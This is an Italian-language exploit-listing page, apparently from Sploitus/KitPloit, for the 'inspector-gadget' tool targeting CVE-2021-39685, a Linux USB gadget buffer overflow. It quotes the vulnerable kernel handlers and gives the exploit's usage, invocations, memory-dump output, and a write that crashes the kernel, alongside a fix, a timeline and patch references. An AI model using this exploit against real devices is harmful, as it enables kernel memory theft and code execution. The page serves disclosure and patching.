## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SZYMONH-INSPECTOR-GADGET
# inspector-gadget
root@kitploit:~
Go Go Gadget Exploit!
_..--"\ `|`""--.._
.-' \ | `'-.
/ \_|___...----'`\
|__,,..--""``(_)--..__ |
'\ _.--'`.I._ ''--..'
`''"`,#JGS/_|_\###,---'`
,#' _.:`___`:-._ '#,
#' ,~'-;(oIo);-'~, '#
# `~-( | )=~` #
# | |_ | #
# ; ._. ; #
# _..-;|\ - /|;-._ #
#-' /_ \\_// _\ '-#
/`# ; /__\-'__\; #`\
; #\.--| |O O |'-./# ;
|__#/ \ _;O__O___/ \#__|
| #\ [I_[_]__I] /# |
\_(# / |O O \ #)_/
/ | \
/ | \
/ /\ \
/ | `\ ;
; \ '. |
\-._.__\ \_..-'/
'.\ \-.._.-/ /'`
\_.\ /._/
\_.; ;._/
.-'-./ \.-'-.
(___.' '.___)
## Riepilogo
Un attaccante può accedere alla memoria del kernel bypassando i confini validi del buffer sfruttando l'implementazione dei gestori delle richieste di controllo nei seguenti gadget USB – rndis, hid, uac1, uac1_legacy e uac2. L'elaborazione di richieste di trasferimento di controllo malevole con wLength inaspettatamente grande non garantisce che questo valore non superi la dimensione del buffer. Per questo motivo è possibile leggere e/o scrivere (a seconda del caso specifico) fino a 65k di memoria del kernel.
## Descrizione
Alcuni percorsi di esecuzione dei gestori di trasferimento di controllo USB di gadget come rndis, hid, uac1, uac1_legacy e uac2 non includono una corretta gestione della lunghezza della richiesta (wLength). Questo valore dovrebbe essere limitato alla dimensione del buffer per prevenire vulnerabilitĂ di buffer overflow nella fase di trasferimento dei dati.
Il buffer utilizzato dall'endpoint 0 viene allocato in composite.c con una dimensione di USB_COMP_EP0_BUFSIZ (4096) byte, quindi impostare wLength a un valore maggiore di USB_COMP_EP0_BUFSIZ causerĂ un buffer overflow.
Ad esempio, nel caso di f_uac1.c, l'esecuzione della funzione f_audio_setup consente di effettuare sia letture che scritture oltre i confini del buffer. Né f_audio_setup né nessuna delle funzioni chiamate – audio_set_endpoint_req, audio_get_endpoint_req, out_rq_cur, ac_rq_in – limitano il valore di ritorno a essere più piccolo della dimensione del buffer. Di conseguenza, la fase di trasferimento dati utilizza req->length = value = ctrl->wLength, che è controllato dall'attaccante. Ciò consente di leggere o scrivere fino a 65k byte di memoria del kernel a seconda della direzione del trasferimento di controllo.
root@kitploit:~
static int
f_audio_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
struct usb_composite_dev *cdev = f->config->cdev;
struct usb_request *req = cdev->req;
int value = -EOPNOTSUPP;
u16 w_index = le16_to_cpu(ctrl->wIndex);
u16 w_value = le16_to_cpu(ctrl->wValue);
u16 w_length = le16_to_cpu(ctrl->wLength);
/* composite driver infrastructure handles everything; interface
* activation uses set_alt().
*/
switch (ctrl->bRequestType) {
case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
value = audio_set_endpoint_req(f, ctrl);
break;
case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
value = audio_get_endpoint_req(f, ctrl);
break;
case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
if (ctrl->bRequest == UAC_SET_CUR)
value = out_rq_cur(f, ctrl);
break;
case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
value = ac_rq_in(f, ctrl);
break;
default:
ERROR(cdev, "invalid control req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
}
/* respond with data transfer or status phase? */
if (value >= 0) {
DBG(cdev, "audio req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
req->zero = 0;
req->length = value;
value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
if (value < 0)
ERROR(cdev, "audio response on err %d\n", value);
}
/* device either stalls (value < 0) or reports success */
return value;
}
L'esecuzione dell'exploit di lettura di esempio consente di dumpare fino a 65k di memoria.
root@kitploit:~
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | wc -c
65535
root@kitploit:~
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | strings
nsole=tty1 root=PARTUUID=e02024cb-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2
tem.slice/system-getty.slice/some-email@example.com
!rE*
?& .4!
0usb_composite_setup_continue
composite_setup
usb_gadget_get_string
usb_otg_descriptor_init
usb_otg_descriptor_alloc
usb_free_all_descriptors
usb_assign_descriptors
usb_copy_descriptors
usb_gadget_config_buf
D'altra parte, l'esecuzione dell'exploit di sovrascrittura consente di scrivere dati arbitrari oltre i confini previsti del buffer.
root@kitploit:~
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
Message from syslogd@zero at Dec 6 19:56:01 ...
kernel:[ 103.850206] Internal error: Oops: 5 [#1] ARM
Analogamente, nel caso del gadget rndis, la funzione rndis_setup può essere sfruttata per scrivere oltre i confini del buffer utilizzando una richiesta di trasferimento di controllo con direzione out, tipo class, destinatario interface e bRequest impostato a USB_CDC_SEND_ENCAPSULATED_COMMAND.
root@kitploit:~
static int
rndis_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
struct f_rndis *rndis = func_to_rndis(f);
struct usb_composite_dev *cdev = f->config->cdev;
struct usb_request *req = cdev->req;
int value = -EOPNOTSUPP;
u16 w_index = le16_to_cpu(ctrl->wIndex);
u16 w_value = le16_to_cpu(ctrl->wValue);
u16 w_length = le16_to_cpu(ctrl->wLength);
/* composite driver infrastructure handles everything except
* CDC class messages; interface activation uses set_alt().
*/
switch ((ctrl->bRequestType << 8) | ctrl->bRequest) {
/* RNDIS uses the CDC command encapsulation mechanism to implement
* an RPC scheme, with much getting/setting of attributes by OID.
*/
case ((USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8)
| USB_CDC_SEND_ENCAPSULATED_COMMAND:
if (w_value || w_index != rndis->ctrl_id)
goto invalid;
/* read the request; process it later */
value = w_length;
req->complete = rndis_command_complete;
req->context = rndis;
/* later, rndis_response_available() sends a notification */
break;
...
...
/* respond with data transfer or status phase? */
if (value >= 0) {
DBG(cdev, "rndis req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
req->zero = (value < w_length);
req->length = value;
value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
if (value < 0)
ERROR(cdev, "rndis response on err %d\n", value);
}
/* device either stalls (value < 0) or reports success */
return value;
}
Percorsi di esecuzione vulnerabili:
* f_rndis.c
* rndis_setup
* f_uac1.c
* out_rq_cur
* ac_rq_in
* audio_set_endpoint_req
* audio_get_endpoint_req
* f_uac1_legacy.c
* audio_set_intf_req
* audio_set_endpoint_req
* audio_get_endpoint_req
* f_uac2.c
* out_rq_cur
* f_hid.c
* hid_gsetup per il caso HID_REQ_SET_REPORT
## Impatto
I dispositivi che implementano le classi di gadget USB affette (rndis, hid, uac1, uac1_legacy, uac2) possono essere soggetti a vulnerabilitĂ di buffer overflow che portano a divulgazione di informazioni, denial of service o esecuzione di codice arbitrario nel contesto del kernel.
## Risoluzione prevista
Limitare la dimensione della fase di trasferimento a min(len, buffer_size) nei gestori di richieste di controllo affetti per garantire che non si verifichi un buffer overflow.
## Date chiave
* 07.12.2021 – segnalato il problema al team di sicurezza del Kernel
* 09.12.2021 – patch preliminare fornita dal team di sicurezza del Kernel
* 12.12.2021 – correzione integrata nel ramo principale del kernel Linux (pubblico)
## CVE
CVE-2021-39685
## Exploit
L'invio di richieste di trasferimento di controllo con wLength maggiore dei 4096 byte standard richiede che l'host utilizzi una build personalizzata di libusb con MAX_CTRL_BUFFER_LENGTH aumentato a 0xffff. Questo valore può essere modificato in libusb/os/linux_usbfs.h prima della build.
Lo script gadget.py richiede pyusb. Puoi installare questo pacchetto tramite pip come mostrato di seguito.
> python3 -m pip install pyusb
L'aiuto può essere visualizzato con i parametri -h o --help.
root@kitploit:~
usage: gadget.py [-h] -v VID -p PID [-l LENGTH] [-d {read,write}]
[-f {rndis,uac1,uac1_legacy,uac2,hid}]
Sample exploit for RNDIS gadget class
optional arguments:
-h, --help show this help message and exit
-v VID, --vid VID vendor id
-p PID, --pid PID product id
-l LENGTH, --length LENGTH
lenght of data to write
-d {read,write}, --direction {read,write}
direction of operation from host perspective
-f {rndis,uac1,uac1_legacy,uac2,hid}, --function {rndis,uac1,uac1_legacy,uac2,hid}
Esempi di invocazione:
root@kitploit:~
./gadget.py -v 0x1b67 -p 0x400c -f uac1
./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
./gadget.py -v 0x18d1 -p 0x4e23 -f rndis
## Patch
* USB: gadget: rileva richieste endpoint 0 troppo grandi
* USB: gadget: bRequestType è un bitfield, non un enum
## Note finali
Aggiorna il tuo kernel all'ultima versione stabile.